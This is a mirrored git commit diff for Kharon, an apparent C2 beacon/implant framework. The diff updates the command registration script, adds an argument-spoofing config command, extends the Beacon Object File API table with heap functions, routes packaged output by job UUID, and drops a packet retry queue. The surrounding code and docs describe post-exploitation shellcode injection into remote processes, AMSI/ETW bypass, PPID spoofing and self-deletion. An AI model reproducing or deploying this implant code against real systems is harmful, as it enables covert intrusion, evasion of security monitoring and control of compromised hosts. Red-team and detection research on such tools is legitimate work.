mirror of
https://github.com/entropy-z/Kharon
synced 2026-06-06 15:34:34 +00:00
v0.2
This commit is contained in:
@@ -34,8 +34,8 @@ Documentation here: [http-malleable](./doc/5.%20HttpProfile.md)
|
||||
### Post-Exploitation Execution
|
||||
|
||||
Post-exploitation routines are based on **Beacon Object Files (BOFs)** and **PIC shellcode**, which can be executed:
|
||||
- In the current process
|
||||
- In a remote target process
|
||||
- In the current process (BOF/PIC)
|
||||
- In a remote target process (PIC)
|
||||
|
||||
### Evasion
|
||||
|
||||
|
||||
Vendored
+6
-4
@@ -68,9 +68,9 @@ function RegisterCommands(listenerType)
|
||||
|
||||
/// PS
|
||||
|
||||
let cmd_ps_list = ax.create_command("list", "Display all running processes", "ps list", "Task: enumerate running processes");
|
||||
let cmd_ps_list = ax.create_command("list", "Display all running processes", "process list", "Task: enumerate running processes");
|
||||
|
||||
let _cmd_ps_kill = ax.create_command("kill", "Terminate a process by its Process ID (PID)", "ps kill 1234", "Task: terminate process");
|
||||
let _cmd_ps_kill = ax.create_command("kill", "Terminate a process by its Process ID (PID)", "process kill 1234", "Task: terminate process");
|
||||
_cmd_ps_kill.addArgInt("pid", true);
|
||||
_cmd_ps_kill.addArgInt("exit_code", false);
|
||||
|
||||
@@ -81,7 +81,6 @@ function RegisterCommands(listenerType)
|
||||
cmd_ps_run.addArgFlagString("--domain", "domain", false, "Domain for use with CreateProcessWithLogon");
|
||||
cmd_ps_run.addArgFlagString("--username", "username", false, "Username for use with CreateProcessWithLogon");
|
||||
cmd_ps_run.addArgFlagString("--password", "password", false, "Password for use with CreateProcessWithLogon");
|
||||
cmd_ps_run.addArgFlagInt("--token", "token", "Token handle from ``token list`` for use with CreateProcessWithToken", 0);
|
||||
|
||||
let cmd_ps = ax.create_command("process", "Process management - list, create, and terminate processes");
|
||||
cmd_ps.addSubCommands([cmd_ps_list, cmd_ps_run, _cmd_ps_kill]);
|
||||
@@ -136,6 +135,9 @@ function RegisterCommands(listenerType)
|
||||
let cmd_config_blockdll = ax.create_command("blockdlls", "Block non-Microsoft DLLs from loading in child processes", "config blockdlls true", "Task: configure DLL blocking");
|
||||
cmd_config_blockdll.addArgString("status", true, "Enable (true) or disable (false)");
|
||||
|
||||
let cmd_config_spoofarg = ax.create_command("spoofarg", "Set false argument to spoof process args (obs: argument needs to be greater than legit argument)", "config spoofarg powershell do-nothing-command", "Task: configure argument spoof");
|
||||
cmd_config_spoofarg.addArgString("arg", true);
|
||||
|
||||
let cmd_config_killdate_date = ax.create_command("killdate.date", "Set the kill date when the beacon will self-terminate", "config killdate.date 28.02.2030", "Task: configure kill date");
|
||||
cmd_config_killdate_date.addArgString("date", true, "Date in 'DD.MM.YYYY' format, or '0' to disable");
|
||||
|
||||
@@ -171,7 +173,7 @@ function RegisterCommands(listenerType)
|
||||
cmd_config_forkpipe.addArgString("name", true);
|
||||
|
||||
let cmd_config_subcommands = [
|
||||
cmd_config_sleep, cmd_config_jitter, cmd_config_ppid, cmd_config_blockdll, cmd_config_wkrtime,
|
||||
cmd_config_sleep, cmd_config_jitter, cmd_config_ppid, cmd_config_blockdll, cmd_config_spoofarg, cmd_config_wkrtime,
|
||||
cmd_config_killdate_date, cmd_config_killdate_exit, cmd_config_killdate_selfdel,
|
||||
cmd_config_heap_obf, cmd_config_mask, cmd_config_amsietwbypass, cmd_config_spawnto, cmd_config_syscall, cmd_config_bofproxy
|
||||
];
|
||||
|
||||
@@ -95,6 +95,7 @@ typedef struct {
|
||||
struct {
|
||||
WCHAR* Spawnto;
|
||||
CHAR* ForkPipe;
|
||||
PCHAR CurrentUUID;
|
||||
} Postex;
|
||||
|
||||
struct {
|
||||
@@ -1049,7 +1050,7 @@ public:
|
||||
struct {
|
||||
UPTR Hash;
|
||||
PVOID Ptr;
|
||||
} ApiTable[38] = {
|
||||
} ApiTable[40] = {
|
||||
ApiTable[0] = { Hsh::Str("BeaconDataParse"), reinterpret_cast<PVOID>(&Coff::DataParse) },
|
||||
ApiTable[1] = { Hsh::Str("BeaconDataInt"), reinterpret_cast<PVOID>(&Coff::DataInt) },
|
||||
ApiTable[2] = { Hsh::Str("BeaconDataExtract"), reinterpret_cast<PVOID>(&Coff::DataExtract) },
|
||||
@@ -1067,12 +1068,12 @@ public:
|
||||
ApiTable[12] = { Hsh::Str("BeaconVirtualProtect"), reinterpret_cast<PVOID>(&Coff::VirtualProtect) },
|
||||
ApiTable[13] = { Hsh::Str("BeaconVirtualAllocEx"), reinterpret_cast<PVOID>(&Coff::VirtualAllocEx) },
|
||||
ApiTable[14] = { Hsh::Str("BeaconVirtualProtectEx"), reinterpret_cast<PVOID>(&Coff::VirtualProtectEx) },
|
||||
ApiTable[18] = { Hsh::Str("BeaconOpenProcess"), reinterpret_cast<PVOID>(&Coff::OpenProcess) },
|
||||
ApiTable[19] = { Hsh::Str("BeaconOpenThread"), reinterpret_cast<PVOID>(&Coff::OpenThread) },
|
||||
ApiTable[15] = { Hsh::Str("BeaconOpenProcess"), reinterpret_cast<PVOID>(&Coff::OpenProcess) },
|
||||
ApiTable[16] = { Hsh::Str("BeaconOpenThread"), reinterpret_cast<PVOID>(&Coff::OpenThread) },
|
||||
|
||||
ApiTable[15] = { Hsh::Str("BeaconIsAdmin"), reinterpret_cast<PVOID>(&Coff::IsAdmin) },
|
||||
ApiTable[16] = { Hsh::Str("BeaconUseToken"), reinterpret_cast<PVOID>(&Coff::UseToken) },
|
||||
ApiTable[17] = { Hsh::Str("BeaconRevertToken"), reinterpret_cast<PVOID>(&Coff::RevertToken) },
|
||||
ApiTable[17] = { Hsh::Str("BeaconIsAdmin"), reinterpret_cast<PVOID>(&Coff::IsAdmin) },
|
||||
ApiTable[18] = { Hsh::Str("BeaconUseToken"), reinterpret_cast<PVOID>(&Coff::UseToken) },
|
||||
ApiTable[19] = { Hsh::Str("BeaconRevertToken"), reinterpret_cast<PVOID>(&Coff::RevertToken) },
|
||||
|
||||
ApiTable[20] = { Hsh::Str("BeaconFormatAlloc"), reinterpret_cast<PVOID>(&Coff::FmtAlloc) },
|
||||
ApiTable[21] = { Hsh::Str("BeaconFormatAppend"), reinterpret_cast<PVOID>(&Coff::FmtAppend) },
|
||||
@@ -1082,16 +1083,21 @@ public:
|
||||
ApiTable[25] = { Hsh::Str("BeaconFormatReset"), reinterpret_cast<PVOID>(&Coff::FmtReset) },
|
||||
ApiTable[26] = { Hsh::Str("BeaconFormatToString"), reinterpret_cast<PVOID>(&Coff::FmtToString) },
|
||||
|
||||
ApiTable[29] = { Hsh::Str("BeaconPkgBytes"), reinterpret_cast<PVOID>(&Coff::PkgBytes) },
|
||||
ApiTable[30] = { Hsh::Str("BeaconPkgInt8"), reinterpret_cast<PVOID>(&Coff::PkgInt8) },
|
||||
ApiTable[31] = { Hsh::Str("BeaconPkgInt16"), reinterpret_cast<PVOID>(&Coff::PkgInt16) },
|
||||
ApiTable[32] = { Hsh::Str("BeaconPkgInt32"), reinterpret_cast<PVOID>(&Coff::PkgInt32) },
|
||||
ApiTable[33] = { Hsh::Str("BeaconPkgInt64"), reinterpret_cast<PVOID>(&Coff::PkgInt64) },
|
||||
ApiTable[27] = { Hsh::Str("BeaconHeapAlloc"), reinterpret_cast<PVOID>(&Coff::HeapAlloc) },
|
||||
ApiTable[28] = { Hsh::Str("BeaconHeapReAlloc"), reinterpret_cast<PVOID>(&Coff::HeapReAlloc) },
|
||||
ApiTable[29] = { Hsh::Str("BeaconHeapFree"), reinterpret_cast<PVOID>(&Coff::HeapFree) },
|
||||
ApiTable[30] = { Hsh::Str("BeaconHeapCheckPtr"), reinterpret_cast<PVOID>(&Coff::HeapCheckPtr) },
|
||||
|
||||
ApiTable[34] = { Hsh::Str("BeaconGetSpawnTo"), reinterpret_cast<PVOID>(&Coff::GetSpawn) },
|
||||
ApiTable[35] = { Hsh::Str("BeaconInformation"), reinterpret_cast<PVOID>(&Coff::Information) },
|
||||
ApiTable[36] = { Hsh::Str("AxDownloadMemory"), reinterpret_cast<PVOID>(&Coff::AxDownloadMemory) },
|
||||
ApiTable[37] = { Hsh::Str("AxAddScreenshot"), reinterpret_cast<PVOID>(&Coff::AxAddScreenshot) },
|
||||
ApiTable[31] = { Hsh::Str("BeaconPkgBytes"), reinterpret_cast<PVOID>(&Coff::PkgBytes) },
|
||||
ApiTable[32] = { Hsh::Str("BeaconPkgInt8"), reinterpret_cast<PVOID>(&Coff::PkgInt8) },
|
||||
ApiTable[33] = { Hsh::Str("BeaconPkgInt16"), reinterpret_cast<PVOID>(&Coff::PkgInt16) },
|
||||
ApiTable[34] = { Hsh::Str("BeaconPkgInt32"), reinterpret_cast<PVOID>(&Coff::PkgInt32) },
|
||||
ApiTable[35] = { Hsh::Str("BeaconPkgInt64"), reinterpret_cast<PVOID>(&Coff::PkgInt64) },
|
||||
|
||||
ApiTable[36] = { Hsh::Str("BeaconGetSpawnTo"), reinterpret_cast<PVOID>(&Coff::GetSpawn) },
|
||||
ApiTable[37] = { Hsh::Str("BeaconInformation"), reinterpret_cast<PVOID>(&Coff::Information) },
|
||||
ApiTable[38] = { Hsh::Str("AxDownloadMemory"), reinterpret_cast<PVOID>(&Coff::AxDownloadMemory) },
|
||||
ApiTable[39] = { Hsh::Str("AxAddScreenshot"), reinterpret_cast<PVOID>(&Coff::AxAddScreenshot) },
|
||||
};
|
||||
|
||||
auto Add( PVOID MmBegin, PVOID MmEnd, PVOID Entry ) -> BOF_OBJ*;
|
||||
@@ -1116,6 +1122,11 @@ public:
|
||||
auto Obfuscate( _In_ COFF_MAPPED* Mapped ) -> BOOL;
|
||||
auto Deobfuscate( _In_ COFF_MAPPED* Mapped ) -> BOOL;
|
||||
|
||||
static auto DECLFN HeapAlloc( _In_ ULONG size ) -> PVOID;
|
||||
static auto DECLFN HeapReAlloc( _In_ PVOID block, _In_ ULONG size ) -> PVOID;
|
||||
static auto DECLFN HeapFree( _In_ PVOID block ) -> BOOL;
|
||||
static auto DECLFN HeapCheckPtr( _In_ PVOID block ) -> BOOL;
|
||||
|
||||
static auto DataExtract( DATAP* parser, PINT size ) -> PCHAR;
|
||||
static auto DataInt( DATAP* parser ) -> INT;
|
||||
static auto DataLength( DATAP* parser ) -> INT;
|
||||
@@ -1160,11 +1171,11 @@ public:
|
||||
|
||||
static auto PkgCreate( _Out_ PACKAGE* Package ) -> VOID;
|
||||
static auto PkgDestroy( _In_ PACKAGE* Package ) -> VOID;
|
||||
static auto PkgInt8( _In_ BYTE Data ) -> VOID;
|
||||
static auto PkgInt16( _In_ INT16 Data ) -> VOID;
|
||||
static auto PkgInt32( _In_ INT32 Data ) -> VOID;
|
||||
static auto PkgInt64( _In_ INT32 Data ) -> VOID;
|
||||
static auto PkgBytes( _In_ PBYTE Buffer, _In_ ULONG Length ) -> VOID;
|
||||
static auto PkgInt8( _In_ BYTE Data, _In_ PCHAR UUID ) -> VOID;
|
||||
static auto PkgInt16( _In_ INT16 Data, _In_ PCHAR UUID ) -> VOID;
|
||||
static auto PkgInt32( _In_ INT32 Data, _In_ PCHAR UUID ) -> VOID;
|
||||
static auto PkgInt64( _In_ INT32 Data, _In_ PCHAR UUID ) -> VOID;
|
||||
static auto PkgBytes( _In_ PBYTE Buffer, _In_ ULONG Length, _In_ PCHAR UUID ) -> VOID;
|
||||
|
||||
static auto AddValue( _In_ PCCH key, _In_ PVOID ptr ) -> BOOL;
|
||||
static auto GetValue( _In_ PCCH key ) -> PVOID;
|
||||
@@ -1285,9 +1296,6 @@ public:
|
||||
|
||||
PACKAGE* Shared = nullptr;
|
||||
|
||||
TRANSPORT_NODE* QueueHead = nullptr;
|
||||
ULONG QueueCount = 0;
|
||||
|
||||
auto Enqueue( _In_ PVOID Buffer, _In_ ULONG Length ) -> VOID;
|
||||
auto FlushQueue( VOID ) -> VOID;
|
||||
|
||||
@@ -1343,22 +1351,12 @@ public:
|
||||
auto Wstr( _In_ PPARSER parser, _In_ ULONG* size ) -> PWCHAR;
|
||||
};
|
||||
|
||||
struct _TRANSPORT_NODE {
|
||||
PVOID Buffer;
|
||||
ULONG Length;
|
||||
|
||||
struct _TRANSPORT_NODE* Next;
|
||||
};
|
||||
typedef _TRANSPORT_NODE TRANSPORT_NODE;
|
||||
|
||||
class Transport {
|
||||
private:
|
||||
Root::Kharon* Self;
|
||||
public:
|
||||
Transport( Root::Kharon* KharonRf ) : Self( KharonRf ) {};
|
||||
|
||||
TRANSPORT_NODE* Node;
|
||||
|
||||
struct {
|
||||
CHAR* FileID;
|
||||
BYTE* BytesReceived;
|
||||
@@ -1518,6 +1516,7 @@ public:
|
||||
|
||||
auto Socks( _In_ JOBS* Job ) -> ERROR_CODE;
|
||||
auto ProcessTunnel( _In_ JOBS* Job ) -> ERROR_CODE;
|
||||
auto ProcessPostex( _In_ JOBS* Job ) -> ERROR_CODE;
|
||||
auto ProcessDownloads( _In_ JOBS* Job ) -> ERROR_CODE;
|
||||
auto RPortfwd( _In_ JOBS* Job ) -> ERROR_CODE;
|
||||
|
||||
|
||||
@@ -165,6 +165,7 @@ namespace Action {
|
||||
ProcessTunnels,
|
||||
ProcessDownloads,
|
||||
RPortfwd,
|
||||
ProcessPostex,
|
||||
TaskLast
|
||||
};
|
||||
|
||||
|
||||
@@ -8,7 +8,7 @@ CCX64 := clang++ -target x86_64-w64-mingw32
|
||||
CCX86 := clang++ -target i686-w64-mingw32
|
||||
ASMCC := nasm
|
||||
|
||||
CFLAGS := -Os -nostdlib -fno-asynchronous-unwind-tables -std=c++20 -fPIC -D DEBUG
|
||||
CFLAGS := -Os -nostdlib -fno-asynchronous-unwind-tables -std=c++20 -fPIC
|
||||
CFLAGS += -fms-extensions -Wno-error=gnu-anonymous-struct -Wno-error=nested-anon-types
|
||||
CFLAGS += -fno-ident -fpack-struct=8 -falign-functions=1 -w -mno-sse -s
|
||||
CFLAGS += -ffunction-sections -falign-jumps=1 -falign-labels=1 -mrdrnd
|
||||
|
||||
@@ -678,7 +678,7 @@ auto DECLFN Package::Transmit(
|
||||
PVOID RetBuffer = nullptr;
|
||||
UINT64 Retsize = 0;
|
||||
|
||||
ULONG EncryptOffset = 36;
|
||||
ULONG EncryptOffset = 36; // agent_id size
|
||||
ULONG PlainLen = Package->Length - EncryptOffset;
|
||||
ULONG PaddedLen = Self->Crp->CalcPadding( PlainLen );
|
||||
ULONG TotalPacketLen = EncryptOffset + PaddedLen;
|
||||
@@ -689,15 +689,18 @@ auto DECLFN Package::Transmit(
|
||||
Package->Buffer = KhReAlloc( Package->Buffer, TotalPacketLen );
|
||||
Package->Length = TotalPacketLen;
|
||||
|
||||
// prepare for pack encrypted buffer
|
||||
PBYTE EncBuffer = (PBYTE)Self->Mm->Alloc( nullptr, TotalPacketLen, MEM_COMMIT, PAGE_READWRITE );
|
||||
if ( ! EncBuffer ) return FALSE;
|
||||
|
||||
Mem::Copy( EncBuffer, Package->Buffer, EncryptOffset );
|
||||
Mem::Copy( EncBuffer + EncryptOffset, B_PTR( Package->Buffer ) + EncryptOffset, PlainLen );
|
||||
|
||||
// encrypt it
|
||||
Self->Crp->AddPadding( EncBuffer + EncryptOffset, PlainLen, PaddedLen );
|
||||
Self->Crp->Encrypt( EncBuffer + EncryptOffset, PaddedLen );
|
||||
|
||||
// if not connected, send the encryption key into 16 final bytes
|
||||
if ( ! Self->Session.Connected ) {
|
||||
if ( TotalPacketLen < sizeof( Self->Crp->LokKey ) ) {
|
||||
Self->Mm->Free( EncBuffer, 0, MEM_RELEASE );
|
||||
@@ -710,21 +713,14 @@ auto DECLFN Package::Transmit(
|
||||
);
|
||||
}
|
||||
|
||||
this->FlushQueue();
|
||||
|
||||
SendData.Ptr = (PBYTE)EncBuffer;
|
||||
SendData.Size = TotalPacketLen;
|
||||
|
||||
if ( Self->Tsp->Send( &SendData, &RecvData ) ) {
|
||||
Success = TRUE;
|
||||
} else {
|
||||
this->Enqueue( EncBuffer, TotalPacketLen );
|
||||
EncBuffer = nullptr;
|
||||
}
|
||||
|
||||
if ( EncBuffer ) {
|
||||
Self->Mm->Free( EncBuffer, TotalPacketLen, MEM_RELEASE );
|
||||
}
|
||||
Self->Mm->Free( EncBuffer, TotalPacketLen, MEM_RELEASE );
|
||||
|
||||
if ( Success && RecvData.Ptr && RecvData.Size ) {
|
||||
UCHAR* DecryptBuff = RecvData.Ptr + EncryptOffset;
|
||||
@@ -750,69 +746,6 @@ auto DECLFN Package::Transmit(
|
||||
return Success;
|
||||
}
|
||||
|
||||
auto DECLFN Package::Enqueue(
|
||||
_In_ PVOID Buffer,
|
||||
_In_ ULONG Length
|
||||
) -> VOID {
|
||||
TRANSPORT_NODE* Node = (TRANSPORT_NODE*)KhAlloc( sizeof(TRANSPORT_NODE) );
|
||||
if ( ! Node ) return;
|
||||
|
||||
Node->Buffer = KhAlloc( Length );
|
||||
if ( ! Node->Buffer ) {
|
||||
KhFree( Node );
|
||||
return;
|
||||
}
|
||||
|
||||
Mem::Copy( Node->Buffer, Buffer, Length );
|
||||
Node->Length = Length;
|
||||
Node->Next = nullptr;
|
||||
|
||||
if ( ! this->QueueHead ) {
|
||||
this->QueueHead = Node;
|
||||
} else {
|
||||
TRANSPORT_NODE* Cur = this->QueueHead;
|
||||
while ( Cur->Next ) {
|
||||
Cur = (TRANSPORT_NODE*)Cur->Next;
|
||||
}
|
||||
Cur->Next = (TRANSPORT_NODE*)Node;
|
||||
}
|
||||
|
||||
this->QueueCount++;
|
||||
KhDbg("Packet queued - Count: %d, Size: %d", this->QueueCount, Length);
|
||||
}
|
||||
|
||||
auto DECLFN Package::FlushQueue( VOID ) -> VOID {
|
||||
TRANSPORT_NODE* Cur = this->QueueHead;
|
||||
TRANSPORT_NODE* Prev = nullptr;
|
||||
|
||||
while ( Cur ) {
|
||||
TRANSPORT_NODE* Next = (TRANSPORT_NODE*)Cur->Next;
|
||||
|
||||
MM_INFO SendData = { 0 };
|
||||
SendData.Ptr = (PBYTE)Cur->Buffer;
|
||||
SendData.Size = Cur->Length;
|
||||
|
||||
if ( Self->Tsp->Send( &SendData, nullptr ) ) {
|
||||
KhDbg("Queued packet sent - Size: %d", Cur->Length);
|
||||
|
||||
if ( Prev ) {
|
||||
Prev->Next = Cur->Next;
|
||||
} else {
|
||||
this->QueueHead = (TRANSPORT_NODE*)Cur->Next;
|
||||
}
|
||||
|
||||
KhFree( Cur->Buffer );
|
||||
KhFree( Cur );
|
||||
this->QueueCount--;
|
||||
|
||||
Cur = (TRANSPORT_NODE*)( Prev ? Prev->Next : (TRANSPORT_NODE*)this->QueueHead );
|
||||
} else {
|
||||
KhDbg("Queued packet retry failed - stopping flush");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
auto DECLFN Package::Byte(
|
||||
_In_ PPACKAGE Package,
|
||||
_In_ BYTE dataInt
|
||||
@@ -902,50 +835,73 @@ auto DECLFN Package::SendOut(
|
||||
auto DECLFN Package::FmtMsg(
|
||||
_In_ ULONG Type,
|
||||
_In_ CHAR* Message,
|
||||
...
|
||||
) -> BOOL {
|
||||
va_list VaList = { 0 };
|
||||
va_start( VaList, Message );
|
||||
...
|
||||
) -> BOOL
|
||||
{
|
||||
BOOL result = FALSE;
|
||||
ULONG MsgSize = 0;
|
||||
CHAR* MsgBuff = nullptr;
|
||||
PACKAGE* Package = nullptr;
|
||||
|
||||
BOOL result = 0;
|
||||
ULONG MsgSize = 0;
|
||||
CHAR* MsgBuff = nullptr;
|
||||
|
||||
PACKAGE* Package = (PACKAGE*)KhAlloc( sizeof( PACKAGE ) );
|
||||
va_list VaList;
|
||||
va_start(VaList, Message);
|
||||
|
||||
MsgSize = Self->Msvcrt.vsnprintf( nullptr, 0, Message, VaList );
|
||||
if ( MsgSize < 0 ) {
|
||||
KhDbg( "failed get the formated message size" ); goto _KH_END;
|
||||
va_list VaListCopy;
|
||||
va_copy(VaListCopy, VaList);
|
||||
|
||||
MsgSize = Self->Msvcrt.vsnprintf(nullptr, 0, Message, VaList);
|
||||
va_end(VaList);
|
||||
|
||||
if (MsgSize <= 0) {
|
||||
KhDbg("failed to get formatted message size");
|
||||
goto _KH_END;
|
||||
}
|
||||
|
||||
MsgBuff = (CHAR*)KhAlloc( MsgSize +1 );
|
||||
|
||||
if ( Self->Msvcrt.vsnprintf( MsgBuff, MsgSize, Message, VaList ) < 0 ) {
|
||||
KhDbg( "failed formating string" ); goto _KH_END;
|
||||
MsgBuff = (CHAR*)KhAlloc(MsgSize + 1);
|
||||
if (!MsgBuff) {
|
||||
KhDbg("failed to allocate message buffer");
|
||||
goto _KH_END;
|
||||
}
|
||||
|
||||
Package->Buffer = PTR( KhAlloc( sizeof( BYTE ) ) );
|
||||
if (Self->Msvcrt.vsnprintf(MsgBuff, MsgSize + 1, Message, VaListCopy) < 0) {
|
||||
KhDbg("failed formatting string");
|
||||
goto _KH_END;
|
||||
}
|
||||
|
||||
va_end(VaListCopy);
|
||||
|
||||
Package = (PACKAGE*)KhAlloc(sizeof(PACKAGE));
|
||||
if (!Package) {
|
||||
KhDbg("failed to allocate package");
|
||||
goto _KH_END;
|
||||
}
|
||||
|
||||
Package->Buffer = PTR(KhAlloc(sizeof(BYTE)));
|
||||
Package->Length = 0;
|
||||
|
||||
this->Pad( Package, (PUCHAR)Self->Session.AgentID, 36 );
|
||||
this->Byte( Package, (BYTE)Action::Task::QuickMsg );
|
||||
this->Pad(Package, (PUCHAR)Self->Session.AgentID, 36);
|
||||
this->Byte(Package, (BYTE)Action::Task::QuickMsg);
|
||||
|
||||
if ( PROFILE_C2 == PROFILE_SMB ) {
|
||||
// this->Pad( Package, (PUCHAR)SmbUUID, 36 );
|
||||
if (PROFILE_C2 == PROFILE_SMB) {
|
||||
// this->Pad(Package, (PUCHAR)SmbUUID, 36);
|
||||
}
|
||||
|
||||
this->Pad( Package, (UCHAR*)Self->Jbs->CurrentUUID, 36 );
|
||||
this->Int32( Package, Type );
|
||||
this->Str( Package, Message );
|
||||
this->Pad(Package, (PUCHAR)Self->Jbs->CurrentUUID, 36);
|
||||
this->Int32(Package, Type);
|
||||
|
||||
result = this->Transmit( Package, nullptr, 0 );
|
||||
this->Str(Package, MsgBuff);
|
||||
|
||||
result = this->Transmit(Package, nullptr, 0);
|
||||
|
||||
_KH_END:
|
||||
if ( Package ) this->Destroy( Package );
|
||||
if ( VaList ) va_end( VaList );
|
||||
if ( MsgBuff ) KhFree( MsgBuff );
|
||||
|
||||
return result;
|
||||
if (Package)
|
||||
this->Destroy(Package);
|
||||
|
||||
if (MsgBuff)
|
||||
KhFree(MsgBuff);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
auto DECLFN Package::SendMsgA(
|
||||
|
||||
@@ -393,45 +393,128 @@ auto DECLFN Coff::CreateThread(
|
||||
return Self->Td->Create( NtCurrentProcess(), (PVOID)Start, Parameter, StackSize, Flags, nullptr, Attributes);
|
||||
}
|
||||
|
||||
auto DECLFN Coff::HeapAlloc(
|
||||
_In_ ULONG size
|
||||
) -> PVOID {
|
||||
G_KHARON
|
||||
|
||||
return Self->Hp->Alloc( size );
|
||||
}
|
||||
|
||||
auto DECLFN Coff::HeapReAlloc(
|
||||
_In_ PVOID block,
|
||||
_In_ ULONG size
|
||||
) -> PVOID {
|
||||
G_KHARON
|
||||
|
||||
return Self->Hp->ReAlloc( block, size );
|
||||
}
|
||||
|
||||
auto DECLFN Coff::HeapFree(
|
||||
_In_ PVOID block
|
||||
) -> BOOL {
|
||||
G_KHARON
|
||||
|
||||
return Self->Hp->Free( block );
|
||||
}
|
||||
|
||||
auto DECLFN Coff::HeapCheckPtr(
|
||||
_In_ PVOID block
|
||||
) -> BOOL {
|
||||
G_KHARON
|
||||
|
||||
return Self->Hp->CheckPtr( block );
|
||||
}
|
||||
|
||||
auto DECLFN Coff::PkgInt8(
|
||||
_In_ BYTE Data
|
||||
_In_ BYTE Data,
|
||||
_In_ PCHAR UUID
|
||||
) -> VOID {
|
||||
G_KHARON
|
||||
|
||||
return Self->Pkg->Byte( Self->Pkg->Shared, Data );
|
||||
PACKAGE* Pkg = nullptr;
|
||||
|
||||
if ( ! UUID ) {
|
||||
Pkg = Self->Pkg->Shared;
|
||||
} else {
|
||||
JOBS* Job = Self->Jbs->GetByUUID( UUID );
|
||||
Pkg = Job->Pkg;
|
||||
}
|
||||
|
||||
return Self->Pkg->Byte( Pkg, Data );
|
||||
};
|
||||
|
||||
auto DECLFN Coff::PkgInt16(
|
||||
_In_ INT16 Data
|
||||
_In_ INT16 Data,
|
||||
_In_ PCHAR UUID
|
||||
) -> VOID {
|
||||
G_KHARON
|
||||
|
||||
return Self->Pkg->Int16( Self->Pkg->Shared, Data );
|
||||
PACKAGE* Pkg = nullptr;
|
||||
|
||||
if ( ! UUID ) {
|
||||
Pkg = Self->Pkg->Shared;
|
||||
} else {
|
||||
JOBS* Job = Self->Jbs->GetByUUID( UUID );
|
||||
Pkg = Job->Pkg;
|
||||
}
|
||||
|
||||
return Self->Pkg->Int16( Pkg, Data );
|
||||
};
|
||||
|
||||
auto DECLFN Coff::PkgInt32(
|
||||
INT32 Data
|
||||
_In_ INT32 Data,
|
||||
_In_ PCHAR UUID
|
||||
) -> VOID {
|
||||
G_KHARON
|
||||
|
||||
return Self->Pkg->Int32( Self->Pkg->Shared, Data );
|
||||
PACKAGE* Pkg = nullptr;
|
||||
|
||||
if ( ! UUID ) {
|
||||
Pkg = Self->Pkg->Shared;
|
||||
} else {
|
||||
JOBS* Job = Self->Jbs->GetByUUID( UUID );
|
||||
Pkg = Job->Pkg;
|
||||
}
|
||||
|
||||
return Self->Pkg->Int32( Pkg, Data );
|
||||
}
|
||||
|
||||
auto DECLFN Coff::PkgInt64(
|
||||
INT32 Data
|
||||
_In_ INT32 Data,
|
||||
_In_ PCHAR UUID
|
||||
) -> VOID {
|
||||
G_KHARON
|
||||
|
||||
return Self->Pkg->Int64( Self->Pkg->Shared, Data );
|
||||
PACKAGE* Pkg = nullptr;
|
||||
|
||||
if ( ! UUID ) {
|
||||
Pkg = Self->Pkg->Shared;
|
||||
} else {
|
||||
JOBS* Job = Self->Jbs->GetByUUID( UUID );
|
||||
Pkg = Job->Pkg;
|
||||
}
|
||||
|
||||
return Self->Pkg->Int64( Pkg, Data );
|
||||
}
|
||||
|
||||
auto DECLFN Coff::PkgBytes(
|
||||
PBYTE Buffer,
|
||||
ULONG Length
|
||||
_In_ PBYTE Buffer,
|
||||
_In_ ULONG Length,
|
||||
_In_ PCHAR UUID
|
||||
) -> VOID {
|
||||
G_KHARON
|
||||
|
||||
return Self->Pkg->Bytes( Self->Pkg->Shared, Buffer, Length );
|
||||
PACKAGE* Pkg = nullptr;
|
||||
|
||||
if ( ! UUID ) {
|
||||
Pkg = Self->Pkg->Shared;
|
||||
} else {
|
||||
JOBS* Job = Self->Jbs->GetByUUID( UUID );
|
||||
Pkg = Job->Pkg;
|
||||
}
|
||||
|
||||
return Self->Pkg->Bytes( Pkg, Buffer, Length );
|
||||
}
|
||||
|
||||
auto DECLFN Coff::CreateRemoteThread(
|
||||
@@ -733,13 +816,13 @@ auto DECLFN Coff::AxDownloadMemory(
|
||||
VOID* MemRange = __builtin_return_address( 0 );
|
||||
ULONG CommandID = Self->Cf->GetCmdID( MemRange );
|
||||
|
||||
PACKAGE* TmpPkg = (PACKAGE*)hAlloc( sizeof( PACKAGE ) );
|
||||
PACKAGE* TmpPkg = (PACKAGE*)KhAlloc( sizeof( PACKAGE ) );
|
||||
if ( ! TmpPkg ) {
|
||||
KhDbg( "AxDownloadMemory: package allocation failed" );
|
||||
return;
|
||||
}
|
||||
|
||||
TmpPkg->Buffer = PTR( hAlloc( sizeof( BYTE ) ) );
|
||||
TmpPkg->Buffer = PTR( KhAlloc( sizeof( BYTE ) ) );
|
||||
TmpPkg->Length = 0;
|
||||
|
||||
Self->Pkg->Str( TmpPkg, filename );
|
||||
@@ -768,12 +851,12 @@ auto DECLFN Coff::AxAddScreenshot(
|
||||
VOID* MemRange = __builtin_return_address( 0 );
|
||||
ULONG CommandID = Self->Cf->GetCmdID( MemRange );
|
||||
|
||||
PACKAGE* TmpPkg = (PACKAGE*)hAlloc( sizeof( PACKAGE ) );
|
||||
PACKAGE* TmpPkg = (PACKAGE*)KhAlloc( sizeof( PACKAGE ) );
|
||||
if ( ! TmpPkg ) {
|
||||
return;
|
||||
}
|
||||
|
||||
TmpPkg->Buffer = PTR( hAlloc( sizeof( BYTE ) ) );
|
||||
TmpPkg->Buffer = PTR( KhAlloc( sizeof( BYTE ) ) );
|
||||
TmpPkg->Length = 0;
|
||||
|
||||
Self->Pkg->Str( TmpPkg, note );
|
||||
|
||||
@@ -130,6 +130,10 @@ auto DECLFN Jobs::Send(
|
||||
Current->State = KH_JOB_RUNNING;
|
||||
Self->Pkg->Destroy( Current->Pkg );
|
||||
Current->Pkg = Self->Pkg->Create( Current->CmdID, Current->UUID );
|
||||
|
||||
if ( Current->CmdID == (ULONG)Action::Task::PostEx ) {
|
||||
Self->Pkg->Int32( Current->Pkg, (ULONG)Action::Postex::Poll );
|
||||
}
|
||||
}
|
||||
}
|
||||
Current = Current->Next;
|
||||
@@ -256,7 +260,7 @@ auto DECLFN Jobs::GetByUUID(
|
||||
) -> JOBS* {
|
||||
JOBS* Current = this->List;
|
||||
while ( Current ) {
|
||||
if ( Str::CompareA( Current->UUID, UUID ) == 0 ) {
|
||||
if ( Mem::Cmp( (PBYTE)Current->UUID, (PBYTE)UUID, 36 ) ) {
|
||||
return Current;
|
||||
}
|
||||
Current = Current->Next;
|
||||
|
||||
@@ -119,39 +119,27 @@ auto DECLFN Task::Dispatcher( VOID ) -> VOID {
|
||||
auto DECLFN Task::Postex(
|
||||
_In_ JOBS* Job
|
